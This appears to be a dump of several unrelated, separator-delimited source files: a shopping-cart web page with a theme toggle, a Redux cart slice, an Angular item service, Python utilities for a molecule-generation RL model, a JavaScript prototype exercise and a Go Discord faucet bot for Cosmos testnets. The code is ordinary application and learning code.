}
.cart-container {
width: 10%;
justify-content: flex-start;
margin-top: 10px;
}
.search-input {
width: 100%;
justify-content: center;
}
.cart-container {
width: 35%;
display: flex;
justify-content: center;
align-items: center;
}
.switch {
width: 40px;
}
.slider:before {
height: 16px;
width: 16px;
left: 2px;
bottom: 2px;
}
input:checked + .slider:before {
transform: translateX(20px);
}
}
@media (max-width: 506px) {
.search-container {
flex-direction: column;
justify-content: center;
margin-top: 15px;
}
.search-input input[type="text"] {
margin-top: 40px;
}
.search-bar {
width: 90%;
justify-content: flex-end;
}
.cart-container {
width: 90%;
justify-content: center;
}
.search-input {
width: 100%;
justify-content: center;
}
.cart-icon {
display: flex;
align-items: center;
gap: 10px;
position: relative;
top: -18px;
}
.cart-container {
width: 15%;
display: flex;
justify-content: center;
align-items: center;
}
.switch {
width: 40px;
}
.slider:before {
height: 14px;
width: 16px;
left: 2px;
bottom: 2px;
}
input:checked + .slider:before {
transform: translateX(20px);
}
}
</style>
</head>
<body>
<div class="search-container light-mode">
<div class="search-bar">
<div class="search-input">
<input type="text" placeholder="Search...">
</div>
</div>
<div class="cart-container">
<div class="cart-icon" onclick="showBookCartUnique()">
<span>Cart</span>
<img src="./icons/cart2.svg" alt="Cart">
<span>0</span>
</div>
<div class="cart-icon">
<span>Light</span>
<label class="switch">
<input type="checkbox" id="theme-toggle">
<img id="theme-icon" src="./icons/off.png" alt="Theme Toggle" class="slider">
</label>
<span>Dark</span>
</div>
</div>
</div>
<!-- Cart container HTML (initially hidden) -->
<!-- <div class="cartitems-unique" id="carditems-unique">
<div class="carditems-content-unique">
<h1>Hello</h1>
<p>This is the cart content.</p>
<button class="close-cart-unique" onclick="hideBookCartUnique()">Close Cart</button>
</div>
</div> -->
<script>
function showBookCartUnique() {
document.getElementById('carditems-unique').style.display = 'block';
}
// Function to hide the cart
function hideBookCartUnique() {
document.getElementById('carditems-unique').style.display = 'none';
}
document.addEventListener('DOMContentLoaded', () => {
const cartIconUnique = document.querySelector('.cart-icon');
// Event listener for cart icon click
cartIconUnique.addEventListener('click', showBookCartUnique);
});
</script>
<script>
document.addEventListener('DOMContentLoaded', () => {
const toggleSwitch = document.getElementById('theme-toggle');
const body = document.body;
const root = document.documentElement;
const themeIcon = document.getElementById('theme-icon');
function setLightMode() {
body.classList.remove('dark-mode');
body.classList.add('light-mode');
root.style.setProperty('--black', '#1B1212');
root.style.setProperty('--white', '#fff');
localStorage.setItem('theme', 'light');
themeIcon.src = './icons/off.png';
}
function setDarkMode() {
body.classList.remove('light-mode');
body.classList.add('dark-mode');
root.style.setProperty('--black', '#fff');
root.style.setProperty('--white', '#1B1212');
localStorage.setItem('theme', 'dark');
themeIcon.src = './icons/on3.png';
}
// Check the current theme and update the switch and root variables accordingly
if (localStorage.getItem('theme') === 'dark') {
toggleSwitch.checked = true;
setDarkMode();
} else {
setLightMode();
}
toggleSwitch.addEventListener('change', () => {
if (toggleSwitch.checked) {
setDarkMode();
} else {
setLightMode();
}
});
});
</script>
</body>
</html>
|
import { createSlice } from '@reduxjs/toolkit';
const initialState = {
items: [],
totalQuantity: 0,
totalPrice: 0,
};
export const cartSlice = createSlice({
name: 'cart',
initialState,
reducers: {
addItemToCart: (state, action) => {
const { id, name, price, image } = action.payload;
const existingIndex = state.items.findIndex(item => item.id === id);
if (existingIndex >= 0) {
state.items[existingIndex].quantity += 1;
state.items[existingIndex].totalPrice = state.items[existingIndex].price * state.items[existingIndex].quantity;
} else {
state.items.push({ id, name, price, quantity: 1, totalPrice: price, image });
}
state.totalQuantity += 1;
state.totalPrice += price;
},
removeItemFromCart: (state, action) => {
const { id, name, price, image }= action.payload;
const existingIndex = state.items.findIndex(item => item.id === id);
if (existingIndex >= 0) {
const item = state.items[existingIndex];
state.totalQuantity -= item.quantity;
state.totalPrice -= item.totalPrice;
state.items.splice(existingIndex, 1);
}
},
reduceItemQuantity: (state, action) => {
const { id, name, price, image } = action.payload;
const existingIndex = state.items.findIndex(item => item.id === id);
if (existingIndex >= 0 && state.items[existingIndex].quantity > 0) {
state.items[existingIndex].quantity -= 1;
state.items[existingIndex].totalPrice -= state.items[existingIndex].price;
if (state.items[existingIndex].quantity === 0) {
state.items.splice(existingIndex, 1);
}
state.totalQuantity -= 1;
state.totalPrice -= price;
}
},
},
});
export const { addItemToCart, removeItemFromCart, reduceItemQuantity } = cartSlice.actions;
export default cartSlice.reducer;
|
import { Injectable } from '@angular/core';
import {Item} from '../model/item';
import {items} from '../model/items.json'
import {Observable, of, throwError} from 'rxjs';
import {HttpClient, HttpRequest, HttpEvent} from '@angular/common/http';
@Injectable({
providedIn: 'root'
})
export class ItemService {
private urlEndPoint: string = 'http://localhost:8083/api/items';
constructor(private http: HttpClient) { }
getItems():Observable<Item[]>{
return this.http.get<Item[]>(this.urlEndPoint);
}
create(item: Item) : Observable<Item>{
return this.http.post<Item>(this.urlEndPoint, item)
}
update(item: Item): Observable<Item> {
return this.http.put<Item>(`${this.urlEndPoint}/${item.id}`, item)
}
delete(id: number): Observable<Item>{
return this.http.delete<Item>(`${this.urlEndPoint}/${id}`)
}
}
|
import time
from copy import deepcopy
from operator import attrgetter
from functools import wraps
import numpy as np
import pandas as pd
import torch
import dgl
import random
import torch.nn.functional as F
from ffreed.utils import lmap, dmap
def log_time(method):
@wraps(method)
def wrapper(sac, *args, **kwargs):
t0 = time.time()
res = method(sac, *args, **kwargs)
t1 = time.time()
sac.writer.add_scalar(f'time_{method.__name__}', t1 - t0, sac.epoch)
return res
return wrapper
def set_requires_grad(params, value):
assert isinstance(value, bool)
for p in params:
p.requires_grad = value
def log_items(writer, items, iteration):
def get_item(value):
if torch.is_tensor(value):
return value.item()
elif isinstance(value, (np.ndarray, np.generic, list)):
return np.mean(value)
elif isinstance(value, float):
return value
elif isinstance(value, pd.Series):
return value.mean()
else:
raise ValueError(f"Items have unsupported '{type(value)}'.")
items = dmap(get_item, items)
for name, value in items.items():
writer.add_scalar(name, value, iteration)
def log_info(path, rewards_info, iteration, additional_info=None, writer=None):
df = pd.DataFrame(rewards_info)
df['Epoch'] = iteration
df.to_csv(path, mode='a', index=False)
if writer:
writer.add_text('Samples', df.to_string(index=False), iteration)
writer.add_scalar("Count", len(df), iteration)
writer.add_scalar("Unique", len(df['Smiles'].unique()), iteration)
writer.add_scalar("TotalCount", len(pd.read_csv(path)['Smiles'].unique()), iteration)
df = df.drop(columns=['Smiles'])
log_items(writer, df.to_dict(orient='list'), iteration)
if additional_info:
log_items(writer, additional_info, iteration)
def construct_batch(states, device='cpu'):
att_num = list()
for state in states:
graph, att_ids, att_types = state.graph, state.attachment_ids, state.attachment_types
n_nodes = graph.number_of_nodes()
# dirty hack for batching
if not (att_ids and att_types):
att_ids, att_types = [0], [0]
att_onehot = F.one_hot(torch.LongTensor(att_ids), num_classes=n_nodes)
graph.ndata['attachment_mask'] = att_onehot.sum(0).bool()
graph.ndata['attachment_type'] = (att_onehot * torch.LongTensor(att_types)[:, None]).sum(0)
att_num.append(len(att_ids))
graphs = lmap(attrgetter('graph'), states)
batch = deepcopy(dgl.batch(graphs)).to(device)
batch.sections = torch.LongTensor(att_num).to(device)
batch.smiles = [state.smile for state in states]
return batch
def get_attachments(graph, types=False):
if types:
embeddings = graph.ndata['attachment_type']
else:
embeddings = graph.ndata['x']
attachment_mask = graph.ndata['attachment_mask']
return embeddings[attachment_mask]
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
// function Robot(name, year, owner){
// this.name = name;
// this.year = year;
// this.owner = owner;
// }
// Robot.prototype.maker = "ObjectsRUs";
// Robot.prototype.speak = function(){
// console.log("speak one language")
// }
// Robot.prototype.makeCoffee = function(){
// console.log("make 4 coffee")
// }
// Robot.prototype.blinkLight = function(){
// }
// var robby =new Robot("Robby",1956,"Dr.Morbius");
// var rosie =new Robot("Rossie",1962,"George Jetson");
// robby.onOffSwitch = true;
// robby.makeCoffee = function(){
// console.log("Starbucks");
// }
// rosie.cleanHouse = function(){
// console.log("Clean House")
// }
// // chain prototype
// function SpaceRobot(name, year, owner, homePlanet){
// this.name = name;
// this.year = year;
// this.owner = owner;
// this.homePlanet = homePlanet;
// }
// SpaceRobot.prototype = new Robot();
// SpaceRobot.prototype.speak = function(){
// console.log(this.name + " says Sir, if i may venture an opinion...");
// }
// SpaceRobot.prototype.pilot = function(){
// console.log(this.name + " says Thrusters? Are they important?")
// }
// var c3po = new SpaceRobot("C3P0", 1997, "Luke Skywalker", "Tatooine");
// c3po.speak();
// c3po.pilot();
// console.log(c3po.name + " was made by " + c3po.maker);
// var simon = new SpaceRobot("Simon", 2009, "Carla Diana", "Earth");
// simon.makeCoffee();
// simon.blinkLight();
// simon.speak();
function Dog(name, breed,weight){
this.name = name;
this.breed = breed;
this.weight = weight;
}
Dog.prototype.species = "Cannine";
Dog.prototype.name = "boy"
Dog.prototype.bark = function(){
if(this.weight > 25){
console.log(this.name +" says WOOF!");
}else{
console.log(this.name +" says yip!");
}
}
Dog.prototype.run = function(){
console.log("Run!");
}
Dog.prototype.wag = function(){
console.log("Wag!")
}
Dog.prototype.sitting = false;
Dog.prototype.sit = function(){
if(this.sitting){
console.log(this.name + " is already sitting");
}else{
this.sitting = true;
console.log(this.name + " is now sitting");
}
}
var fido = new Dog("Fido","Mixed", 38);
if(fido instanceof Dog){
console.log(fido.name + " is a Dog ")
}
if(fido instanceof ShowDog){
console.log(fido.name + " is a Show Dog ")
}
var fluffy = new Dog("Fluffy","Foodle", 30);
var spot = new Dog("Spot","Chihuahua", 10);
spot.bark = function(){
console.log(this.name + " Woof!");
}
function ShowDog(name, breed, weight, handler){
Dog.call(this, name, breed, weight)
this.handler = handler;
}
// ShowDog.prototype = new Dog();
ShowDog.prototype = Object.create(Dog.prototype)
ShowDog.prototype.constructor = ShowDog; // indicator
ShowDog.prototype.league = "Webville";
ShowDog.prototype.stack = function(){
console.log("Stack");
}
ShowDog.prototype.bait = function(){
console.log("Bait");
}
ShowDog.prototype.gait = function(kind){
console.log(kind + "ing");
}
ShowDog.prototype.groom = function(){
console.log("Groom");
}
var scotty = new ShowDog("Scotty", "Scottish Terrier", 15, "Cookie");
var beatrice = new ShowDog("Beatrice", "Pomeranian", 5, "Hamilton")
if(scotty instanceof Dog){
console.log(scotty.name + " is a Dog ")
}
if(scotty instanceof ShowDog){
console.log(scotty.name + " is a Show Dog ")
}
console.log(scotty)
console.log("Scotty is construntor " + scotty.constructor);
console.log("fido is construntor " + fido.constructor);
fido.bark();
fluffy.bark();
spot.bark();
scotty.bark();
beatrice.bark();
scotty.gait("walk");
beatrice.groom();
console.log(scotty.species)
console.log(scotty)
console.log(scotty.name)
console.log(fido.name)
</script>
</body>
</html>
|
package main
import (
"context"
_ "embed"
"encoding/json"
"fmt"
"regexp"
"strings"
"time"
"os"
"os/signal"
"syscall"
"github.com/bwmarrin/discordgo"
"github.com/cosmos/btcutil/bech32"
cosmostypes "github.com/cosmos/cosmos-sdk/types"
log "github.com/sirupsen/logrus"
chain "github.com/umee-network/fonzie/chain"
)
//go:generate bash -c "if [ \"$CI\" = true ] ; then echo -n $GITHUB_REF_NAME > VERSION; fi"
var (
//go:embed VERSION
Version string
)
type CoinsStr = string
type ChainPrefix = string
type Username = string
type ChainFunding = map[ChainPrefix]CoinsStr
type FundingReceipt struct {
ChainPrefix ChainPrefix
Username Username
FundedAt time.Time
Amount cosmostypes.Coins
}
type FundingReceipts []FundingReceipt
func (receipts *FundingReceipts) Add(newReceipt FundingReceipt) {
*receipts = append(*receipts, newReceipt)
}
func (receipts *FundingReceipts) FindByChainPrefixAndUsername(prefix ChainPrefix, username Username) *FundingReceipt {
for _, receipt := range *receipts {
if receipt.ChainPrefix == prefix && receipt.Username == username {
return &receipt
}
}
return nil
}
func (receipts *FundingReceipts) Prune(maxAge time.Duration) {
pruned := FundingReceipts{}
for _, receipt := range *receipts {
if time.Now().Before(receipt.FundedAt.Add(maxAge)) {
pruned = append(pruned, receipt)
}
}
*receipts = pruned
}
var (
mnemonic = os.Getenv("MNEMONIC")
botToken = os.Getenv("BOT_TOKEN")
rawChains = os.Getenv("CHAINS")
rawFunding = os.Getenv("FUNDING")
chains chain.Chains
funding ChainFunding
receipts FundingReceipts
)
func init() {
if len(os.Args) > 1 && os.Args[1] == "version" {
fmt.Println(Version)
os.Exit(0)
}
log.SetFormatter(&log.JSONFormatter{})
if mnemonic == "" {
log.Fatal("MNEMONIC is invalid")
}
if botToken == "" {
log.Fatal("BOT_TOKEN is invalid")
}
if rawChains == "" {
log.Fatal("CHAINS config cannot be blank (json array)")
}
// parse chains config
err := json.Unmarshal([]byte(rawChains), &chains)
if err != nil {
log.Fatal(err)
}
log.Printf("CHAINS: %#v", chains)
// parse chains config
err = json.Unmarshal([]byte(rawFunding), &funding)
if err != nil {
log.Fatal(err)
}
log.Printf("CHAIN_FUNDING: %#v", funding)
}
func main() {
ctx := context.Background()
err := chains.ImportMnemonic(ctx, mnemonic)
if err != nil {
log.Fatal(err)
}
// Create a new Discord session using the provided bot token.
dg, err := discordgo.New("Bot " + botToken)
if err != nil {
log.Fatal(err)
}
// Cleanly close down the Discord session.
defer dg.Close()
// Register the messageCreate func as a callback for MessageCreate events.
dg.AddHandler(messageCreate)
// In this example, we only care about receiving message events.
dg.Identify.Intents = discordgo.IntentsGuildMessages | discordgo.IntentDirectMessages
// Open a websocket connection to Discord and begin listening.
err = dg.Open()
if err != nil {
log.Fatal(err)
}
// Wait here until CTRL-C or other term signal is received.
log.Info("Bot is now running. Press CTRL-C to exit.")
sc := make(chan os.Signal, 1)
signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)
<-sc
}
// This function will be called (due to AddHandler above) every time a new
// message is created on any channel that the authenticated bot has access to.
func messageCreate(s *discordgo.Session, m *discordgo.MessageCreate) {
// Ignore all messages created by the bot itself
// This isn't required in this specific example but it's a good practice.
if m.Author.ID == s.State.User.ID {
return
}
// Do we support this command?
re, err := regexp.Compile("!(request|help)(.*)")
if err != nil {
log.Fatal(err)
}
// Do we support this bech32 prefix?
matches := re.FindAllStringSubmatch(m.Content, -1)
log.Info("%#v\n", matches)
if len(matches) > 0 {
cmd := strings.TrimSpace(matches[0][1])
args := strings.TrimSpace(matches[0][2])
switch cmd {
case "request":
dstAddr := args
prefix, _, err := bech32.Decode(dstAddr, 1023)
if err != nil {
reportError(s, m, err)
return
}
chain := chains.FindByPrefix(prefix)
if chain == nil {
reportError(s, m, fmt.Errorf("%s chain prefix is not supported", prefix))
return
}
maxAge := time.Hour * 12
receipts.Prune(maxAge)
receipt := receipts.FindByChainPrefixAndUsername(prefix, m.Author.Username)
if receipt != nil {
reportError(s, m, fmt.Errorf("You must wait %s until you can get %s funding again", receipt.FundedAt.Add(maxAge).Sub(time.Now()), prefix))
return
}
// Immediately respond to Discord
sendReaction(s, m, "👍")
// Sip on the faucet by dstAddr
coins, err := cosmostypes.ParseCoinsNormalized(funding[prefix])
if err != nil {
// fatal because the coins should have been valid in the first place at process start
log.Fatal(err)
}
err = chain.Send(dstAddr, coins)
if err != nil {
reportError(s, m, err)
return
}
receipts.Add(FundingReceipt{
ChainPrefix: prefix,
Username: m.Author.Username,
FundedAt: time.Now(),
Amount: coins,
})
// Everything worked, so-- respond successfully to Discord requester
sendReaction(s, m, "✅")
sendMessage(s, m, fmt.Sprintf("Dispensed 💸 `%s`", coins))
default:
help(s, m)
}
} else if m.GuildID == "" {
// If message is DM, respond with help
help(s, m)
}
}
func reportError(s *discordgo.Session, m *discordgo.MessageCreate, errToReport error) {
sendReaction(s, m, "❌")
sendMessage(s, m, fmt.Sprintf("Error:\n `%s`", errToReport))
}
//go:embed help.md
var helpMsg string
func help(s *discordgo.Session, m *discordgo.MessageCreate) error {
acc := []string{}
for _, chain := range chains {
acc = append(acc, chain.Prefix)
}
return sendMessage(s, m, fmt.Sprintf("**Supported address prefixes**: %s.\n\n%s", strings.Join(acc, ", "), helpMsg))
}
func sendMessage(s *discordgo.Session, m *discordgo.MessageCreate, msg string) error {
_, err := s.ChannelMessageSendReply(m.ChannelID, msg, m.Reference())
if err != nil {
log.Error(err)
}
return err
}
func sendReaction(s *discordgo.Session, m *discordgo.MessageCreate, reaction string) error {
err := s.MessageReactionAdd(m.ChannelID, m.ID, reaction)
if err != nil {
log.Error(err)
}
return err
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.